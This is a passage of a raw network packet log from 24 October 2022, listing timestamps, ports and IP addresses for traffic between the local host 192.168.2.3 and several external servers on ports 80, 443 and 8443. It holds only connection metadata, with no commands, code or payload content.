Oct 24, 2022 11:00:11.095030069 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.095062971 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.095083952 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.095105886 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.095127106 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.095128059 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.095145941 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.095156908 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.095206976 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.095299959 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.095355034 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.095371962 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.095396042 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.095406055 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.095416069 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.095442057 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.095454931 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.095462084 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.095480919 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.095499992 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.095518112 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.095523119 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.095536947 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.095556021 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.095561028 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.095581055 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.095598936 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.095602989 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.095623970 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.095643997 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.095662117 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.095669985 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.095681906 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.095685959 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.095700979 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.095719099 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.095721960 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.095736980 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.095755100 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.095765114 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.095777035 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.095796108 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.095801115 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.095813990 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.095840931 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.095841885 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.095860004 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.095877886 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.095892906 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.095895052 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.095915079 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.095916033 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.095935106 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.095956087 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.095959902 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.095976114 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.095993996 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096005917 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.096019030 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096040010 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096051931 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.096060038 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096076012 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.096081018 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096101046 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096117973 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096136093 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096137047 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.096159935 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096178055 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096178055 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.096203089 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096220016 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096221924 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.096245050 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096252918 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.096265078 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096282005 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096299887 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096318007 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096335888 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096343040 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.096354961 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096374035 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096381903 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.096391916 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096410990 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096415997 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.096430063 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096448898 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.096456051 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096476078 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096498013 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.096499920 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096518993 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096537113 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096539974 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.096554995 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096558094 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.096574068 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096590996 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096605062 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.096609116 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096627951 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.096627951 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096649885 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096668005 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096678019 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.096687078 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096709967 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096725941 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.096729040 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096759081 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096765041 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.096779108 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096796989 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096812010 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.096813917 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096833944 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096847057 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.096853018 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096872091 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.096872091 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096890926 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096908092 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096918106 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.096926928 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096946001 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096951962 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.096966028 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096986055 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.096987963 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.097007990 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097029924 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097031116 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.097050905 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097069979 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097090006 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097095966 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.097109079 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097126961 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097131014 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.097145081 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097150087 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.097163916 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097182989 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097201109 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097203016 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.097230911 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097254992 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.097255945 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097276926 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.097285986 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097311020 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097332954 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097337008 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.097357988 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097373009 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.097383022 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097407103 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097425938 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.097433090 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097460985 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097474098 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.097487926 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097517014 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097539902 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097541094 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.097564936 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097580910 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.097593069 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097618103 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097640038 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097642899 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.097660065 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097683907 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097687006 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.097702026 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097724915 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097726107 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.097743988 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097764969 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097770929 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.097784042 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097803116 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097806931 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.097821951 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097839117 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097846031 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.097858906 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097876072 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097884893 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.097894907 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097919941 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097925901 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.097949028 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.097965002 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.097979069 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.098005056 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.098030090 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.098035097 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.098076105 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.227438927 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.227752924 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.319962025 CEST	49710	80	192.168.2.3	82.94.251.203
Oct 24, 2022 11:00:11.397741079 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.424882889 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:14.493560076 CEST	49712	443	192.168.2.3	171.25.193.9
Oct 24, 2022 11:00:14.493668079 CEST	443	49712	171.25.193.9	192.168.2.3
Oct 24, 2022 11:00:14.494873047 CEST	49712	443	192.168.2.3	171.25.193.9
Oct 24, 2022 11:00:14.494873047 CEST	49712	443	192.168.2.3	171.25.193.9
Oct 24, 2022 11:00:14.494965076 CEST	443	49712	171.25.193.9	192.168.2.3
Oct 24, 2022 11:00:14.495115995 CEST	443	49712	171.25.193.9	192.168.2.3
Oct 24, 2022 11:00:14.496849060 CEST	49713	80	192.168.2.3	86.59.21.38
Oct 24, 2022 11:00:16.903067112 CEST	49714	8443	192.168.2.3	185.125.168.42
Oct 24, 2022 11:00:16.945862055 CEST	8443	49714	185.125.168.42	192.168.2.3
Oct 24, 2022 11:00:16.946027994 CEST	49714	8443	192.168.2.3	185.125.168.42
Oct 24, 2022 11:00:16.947030067 CEST	49714	8443	192.168.2.3	185.125.168.42
Oct 24, 2022 11:00:16.989811897 CEST	8443	49714	185.125.168.42	192.168.2.3
Oct 24, 2022 11:00:16.990571976 CEST	8443	49714	185.125.168.42	192.168.2.3
Oct 24, 2022 11:00:16.998333931 CEST	49714	8443	192.168.2.3	185.125.168.42
Oct 24, 2022 11:00:17.041282892 CEST	8443	49714	185.125.168.42	192.168.2.3
Oct 24, 2022 11:00:17.041654110 CEST	8443	49714	185.125.168.42	192.168.2.3
Oct 24, 2022 11:00:17.061712027 CEST	49714	8443	192.168.2.3	185.125.168.42
Oct 24, 2022 11:00:17.104387045 CEST	8443	49714	185.125.168.42	192.168.2.3
Oct 24, 2022 11:00:17.108203888 CEST	8443	49714	185.125.168.42	192.168.2.3
Oct 24, 2022 11:00:17.108253956 CEST	8443	49714	185.125.168.42	192.168.2.3
Oct 24, 2022 11:00:17.108361006 CEST	49714	8443	192.168.2.3	185.125.168.42
Oct 24, 2022 11:00:17.108519077 CEST	49714	8443	192.168.2.3	185.125.168.42
Oct 24, 2022 11:00:17.113245964 CEST	49715	80	192.168.2.3	185.216.179.206
Oct 24, 2022 11:00:17.137063026 CEST	80	49715	185.216.179.206	192.168.2.3
Oct 24, 2022 11:00:17.137296915 CEST	49715	80	192.168.2.3	185.216.179.206
Oct 24, 2022 11:00:17.137487888 CEST	49715	80	192.168.2.3	185.216.179.206
Oct 24, 2022 11:00:17.151070118 CEST	8443	49714	185.125.168.42	192.168.2.3
Oct 24, 2022 11:00:17.161331892 CEST	80	49715	185.216.179.206	192.168.2.3
Oct 24, 2022 11:00:17.508085966 CEST	49713	80	192.168.2.3	86.59.21.38
Oct 24, 2022 11:00:17.559863091 CEST	80	49715	185.216.179.206	192.168.2.3
Oct 24, 2022 11:00:17.559919119 CEST	80	49715	185.216.179.206	192.168.2.3
Oct 24, 2022 11:00:17.559947014 CEST	80	49715	185.216.179.206	192.168.2.3
Oct 24, 2022 11:00:17.559977055 CEST	80	49715	185.216.179.206	192.168.2.3
Oct 24, 2022 11:00:17.560033083 CEST	80	49715	185.216.179.206	192.168.2.3
Oct 24, 2022 11:00:17.560132027 CEST	49715	80	192.168.2.3	185.216.179.206
Oct 24, 2022 11:00:17.560189009 CEST	49715	80	192.168.2.3	185.216.179.206
Oct 24, 2022 11:00:17.560431004 CEST	49715	80	192.168.2.3	185.216.179.206
Oct 24, 2022 11:00:17.564992905 CEST	49714	8443	192.168.2.3	185.125.168.42
Oct 24, 2022 11:00:17.584122896 CEST	80	49715	185.216.179.206	192.168.2.3
Oct 24, 2022 11:00:17.607764959 CEST	8443	49714	185.125.168.42	192.168.2.3
Oct 24, 2022 11:00:17.609548092 CEST	8443	49714	185.125.168.42	192.168.2.3
Oct 24, 2022 11:00:17.614429951 CEST	49716	80	192.168.2.3	199.249.230.182
Oct 24, 2022 11:00:17.664321899 CEST	49714	8443	192.168.2.3	185.125.168.42
Oct 24, 2022 11:00:17.776192904 CEST	80	49716	199.249.230.182	192.168.2.3
Oct 24, 2022 11:00:17.779081106 CEST	49716	80	192.168.2.3	199.249.230.182
Oct 24, 2022 11:00:17.816386938 CEST	49716	80	192.168.2.3	199.249.230.182
Oct 24, 2022 11:00:18.001913071 CEST	80	49716	199.249.230.182	192.168.2.3
Oct 24, 2022 11:00:18.394649982 CEST	80	49716	199.249.230.182	192.168.2.3
Oct 24, 2022 11:00:18.394689083 CEST	80	49716	199.249.230.182	192.168.2.3
Oct 24, 2022 11:00:18.394706011 CEST	80	49716	199.249.230.182	192.168.2.3
Oct 24, 2022 11:00:18.394810915 CEST	49716	80	192.168.2.3	199.249.230.182
Oct 24, 2022 11:00:18.394859076 CEST	49716	80	192.168.2.3	199.249.230.182
Oct 24, 2022 11:00:18.395142078 CEST	49716	80	192.168.2.3	199.249.230.182
Oct 24, 2022 11:00:18.395437002 CEST	49714	8443	192.168.2.3	185.125.168.42
Oct 24, 2022 11:00:18.478461027 CEST	8443	49714	185.125.168.42	192.168.2.3
Oct 24, 2022 11:00:18.556121111 CEST	80	49716	199.249.230.182	192.168.2.3
Oct 24, 2022 11:00:23.521264076 CEST	49713	80	192.168.2.3	86.59.21.38
Oct 24, 2022 11:00:23.881596088 CEST	80	49713	86.59.21.38	192.168.2.3
Oct 24, 2022 11:00:23.881725073 CEST	49713	80	192.168.2.3	86.59.21.38
Oct 24, 2022 11:00:23.881959915 CEST	49713	80	192.168.2.3	86.59.21.38
Oct 24, 2022 11:00:24.902508020 CEST	80	49713	86.59.21.38	192.168.2.3
Oct 24, 2022 11:00:24.902646065 CEST	49713	80	192.168.2.3	86.59.21.38
Oct 24, 2022 11:00:26.802190065 CEST	80	49713	86.59.21.38	192.168.2.3
Oct 24, 2022 11:00:26.802284956 CEST	49713	80	192.168.2.3	86.59.21.38
Oct 24, 2022 11:00:26.883790970 CEST	49713	80	192.168.2.3	86.59.21.38
Oct 24, 2022 11:00:28.732430935 CEST	80	49713	86.59.21.38	192.168.2.3
Oct 24, 2022 11:00:28.734208107 CEST	49713	80	192.168.2.3	86.59.21.38
Oct 24, 2022 11:00:29.104342937 CEST	49717	80	192.168.2.3	199.254.238.52
Oct 24, 2022 11:00:29.977938890 CEST	49713	80	192.168.2.3	86.59.21.38
Oct 24, 2022 11:00:32.118638039 CEST	49717	80	192.168.2.3	199.254.238.52
Oct 24, 2022 11:00:33.213571072 CEST	80	49713	86.59.21.38	192.168.2.3
Oct 24, 2022 11:00:33.213666916 CEST	49713	80	192.168.2.3	86.59.21.38
Oct 24, 2022 11:00:33.661168098 CEST	80	49713	86.59.21.38	192.168.2.3
Oct 24, 2022 11:00:33.661732912 CEST	80	49713	86.59.21.38	192.168.2.3
Oct 24, 2022 11:00:33.712603092 CEST	49713	80	192.168.2.3	86.59.21.38
Oct 24, 2022 11:00:34.655229092 CEST	80	49713	86.59.21.38	192.168.2.3
Oct 24, 2022 11:00:34.712580919 CEST	49713	80	192.168.2.3	86.59.21.38
Oct 24, 2022 11:00:36.650228977 CEST	80	49713	86.59.21.38	192.168.2.3
Oct 24, 2022 11:00:38.119189978 CEST	49717	80	192.168.2.3	199.254.238.52
Oct 24, 2022 11:00:38.648518085 CEST	80	49713	86.59.21.38	192.168.2.3
Oct 24, 2022 11:00:38.697487116 CEST	49713	80	192.168.2.3	86.59.21.38
Oct 24, 2022 11:00:39.926316023 CEST	80	49713	86.59.21.38	192.168.2.3
Oct 24, 2022 11:00:44.662602901 CEST	80	49713	86.59.21.38	192.168.2.3
Oct 24, 2022 11:00:44.854103088 CEST	49713	80	192.168.2.3	86.59.21.38
Oct 24, 2022 11:00:48.406507969 CEST	49718	443	192.168.2.3	167.86.119.184
Oct 24, 2022 11:00:48.406585932 CEST	443	49718	167.86.119.184	192.168.2.3
Oct 24, 2022 11:00:48.407274008 CEST	49718	443	192.168.2.3	167.86.119.184
Oct 24, 2022 11:00:48.410679102 CEST	49718	443	192.168.2.3	167.86.119.184
Oct 24, 2022 11:00:48.410720110 CEST	443	49718	167.86.119.184	192.168.2.3
Oct 24, 2022 11:00:48.445715904 CEST	80	49713	86.59.21.38	192.168.2.3
Oct 24, 2022 11:00:48.495102882 CEST	49713	80	192.168.2.3	86.59.21.38
Oct 24, 2022 11:00:48.538180113 CEST	80	49713	86.59.21.38	192.168.2.3
Oct 24, 2022 11:00:48.538249969 CEST	80	49713	86.59.21.38	192.168.2.3
Oct 24, 2022 11:00:48.538505077 CEST	49713	80	192.168.2.3	86.59.21.38
Oct 24, 2022 11:00:48.683695078 CEST	443	49718	167.86.119.184	192.168.2.3
Oct 24, 2022 11:00:48.686454058 CEST	49718	443	192.168.2.3	167.86.119.184
Oct 24, 2022 11:00:48.686454058 CEST	49718	443	192.168.2.3	167.86.119.184
Oct 24, 2022 11:00:48.686512947 CEST	443	49718	167.86.119.184	192.168.2.3
Oct 24, 2022 11:00:48.687200069 CEST	443	49718	167.86.119.184	192.168.2.3
Oct 24, 2022 11:00:48.688066959 CEST	49718	443	192.168.2.3	167.86.119.184
Oct 24, 2022 11:00:48.688122034 CEST	443	49718	167.86.119.184	192.168.2.3
Oct 24, 2022 11:00:50.121351957 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.141947031 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.142098904 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.142519951 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.162939072 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.163132906 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.163156986 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.163176060 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.163197994 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.163218021 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.163239002 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.163260937 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.163266897 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.163290977 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.163292885 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.163310051 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.163326979 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.163346052 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.163357973 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.163398027 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.183901072 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.183939934 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.183960915 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.183980942 CEST	80	49719	131.188.40.189	192.168.2.3
